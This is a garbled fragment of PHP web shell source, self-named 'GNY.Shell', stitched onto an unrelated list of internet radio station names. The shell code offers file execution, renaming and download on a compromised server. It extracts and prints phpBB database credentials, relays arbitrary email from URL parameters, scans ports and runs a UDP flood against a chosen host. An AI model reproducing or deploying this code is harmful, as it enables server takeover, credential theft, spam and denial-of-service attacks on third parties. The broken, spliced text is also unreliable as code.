(file_exists($d.$_GET[\'name\'])) { echo \'\'.$f.\' renamed \'.$_GET[\'name\'].\' successfully.\'; }else{ echo \'Error renaming file (incorrect permissions?)\'; } } } elseif ($ft == \"phpsess\") { echo \" \"; $v = explode(\"|\",$r); echo $v[0].\"\"; } elseif ($ft == \"exe\") { $ext = explode(\".\",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = \"\"; foreach($exeftypes as $k=>$v) { if (in_array($ext,$v)) {$rft = $k; break;} } $cmd = str_replace(\"%f%\",$f,$rft); echo \"Execute file:\"; } elseif ($ft == \"sdb\") {echo \" \"; var_dump(unserialize(base64_decode($r))); echo \"\";} elseif ($ft == \"code\") { if (ereg(\"php\".\"BB 2.(.*) auto-generated config file\",$r)) { $arr = explode(\"\\n\",$r); if (count($arr == 18)) { include($d.$f); echo \"phpBB configuration is detected in this file! \"; if ($dbms == \"mysql4\") {$dbms = \"mysql\";} if ($dbms == \"mysql\") {echo \"Connect to DB \";} else {echo \"You cannot connect to forum database, because the database software of \\\"\".$dbms.\"\\\" is not supported by GNY.Shell\";} echo \"Parameters for manual connect: \"; $cfgvars = array(\"dbms\"=>$dbms,\"dbhost\"=>$dbhost,\"dbname\"=>$dbname,\"dbuser\"=>$dbuser,\"dbpasswd\"=>$dbpasswd); foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k).\"=\'\".htmlspecialchars($v).\"\' \";} echo \" \"; } } echo \" \";
if (!empty($white)) {@ob_clean();}
highlight_file($d.$f);
if (!empty($white)) {GNYexit();}
echo \" \";
}
elseif ($ft == \"download\")
{
@ob_clean();
header(\"Content-type: application/octet-stream\");
header(\"Content-length: \".filesize($d.$f));
header(\"Content-disposition: attachment; filename=\\\"\".$f.\"\\\";\");
echo $r;
exit;
}
elseif ($ft == \'notepad\')
{
@ob_clean();
header(\"Content-type: text/plain\");
header(\"Content-disposition: attachment; filename=\\\"\".$f.\".txt\\\";\");
echo($r);
exit;
}
elseif ($ft == \'img\')
{
$inf = getimagesize($d.$f);
if (!$white)
{
if (empty($imgsize)) {$imgsize = 20;}
$width = $inf[0]/100*$imgsize;
$height = $inf[1]/100*$imgsize;
echo \"\");}}}} natsort($images); $k = array_keys($images); echo \" \';} echo \" \'.$user[0].\' | \'.$user[5].\' | |
\"; echo \"
\"; }else echo \'
Please note this may take a long time to execute depending on the website/server it is run on.
Yes || No
\'; if (isset($_GET[\'to\']) && isset($_GET[\'from\']) && isset($_GET[\'subject\']) && isset($_GET[\'body\'])) { $headers = \'From: \'.$_GET[\'from\']; mail ($_GET[\'to\'],$_GET[\'subject\'],$_GET[\'body\'],$headers); echo \'Email sent.\'; } //port scanner echo \'
Port Scanner
\'; $start = strip_tags($_GET[\'start\']); $end = strip_tags($_GET[\'end\']); $host = strip_tags($_GET[\'host\']); if(isset($_GET[\'host\']) && is_numeric($_GET[\'end\']) && is_numeric($_GET[\'start\'])){ for($i = $start; $i<=$end; $i++){ $fp = @fsockopen($host, $i, $errno, $errstr, 3); if($fp){ echo \'Port \'.$i.\' is open
\'; } flush(); } }else{ ?> \"; $max_time = $time+$exec_time; $host = $_GET[\'host\']; for($i=0;$i<65000;$i++){ $out .= \'X\'; } while(1){ $pakits++; if(time() > $max_time){ break; } $rand = rand(1,65000); $fp = fsockopen(\'udp://\'.$host, $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo \"
UDP Flood
Completed with $pakits (\" . round(($pakits*65)/1024, 2) . \" MB) packets averaging \". round($pakits/$exec_time, 2) . \" packets per second \\n\"; echo \'
\'; }else{ echo \'
UDP Flood
\'; } ?>
|
|
|
|
\'; if(copy(\"compress.zlib://\".$file, $temp)){ $fichier = fopen($temp, \'r\'); $action = fread($fichier, filesize($temp)); fclose($fichier); $source=htmlspecialchars($action); echo \'Start \'.$get.\' \'.$source.\' Fin \'.$get.\'\'; unlink($temp); } else echo \' |
\'; foreach ($files as $filename) echo $filename.\"\\n \"; // added the \\n for easier readability while viewing the html source } ?> |
Acid Jazz
Beatles
Best Country
Beyond Bebop
Business Talk Radio
Channel 202
Christmas Blender
Christmas Classics
Christmas Country
Christmas Fun
Christmas Gospel
Christmas Highway
Christmas Kids
Christmas Kountry
Christmas Mix
Christmas Oldies
Christmas Power
Christmas R&B
Christmas Rock
Christmas Smooth Jazz
Christmas Soundtracks
Christmas Spirit
Christmas Standards
Christmas Swing
Clasical @ 202
Classic Alternative
Classic Hits
Classic Jazz
Comedy
Energy 98
Front Porch
Funk
Fusion
Good Time Oldies
Highway
Hot Country
Jammin 202
Kickin Country
Lifestyle Talk
Lite 80's
Mellow Gold
My Country
Old School HipHop/RnB
Power 202
Prima (Gets You Moving!)
Q The 90's & Now
Q The 90's & Now
R&B
Real Country
Reggae Roots
Salsa
Sensual World
Smooth Jazz
Soul
Super 70s
Techno Club
The Chillout Lounge
The Eagle (Classic Rock)
The Eagle (Classic Rock)
The Edge Alternative
The Mix
The Office
Trance Jazz
U.S. Country
Ultimate 80's
Vocals
advertisement
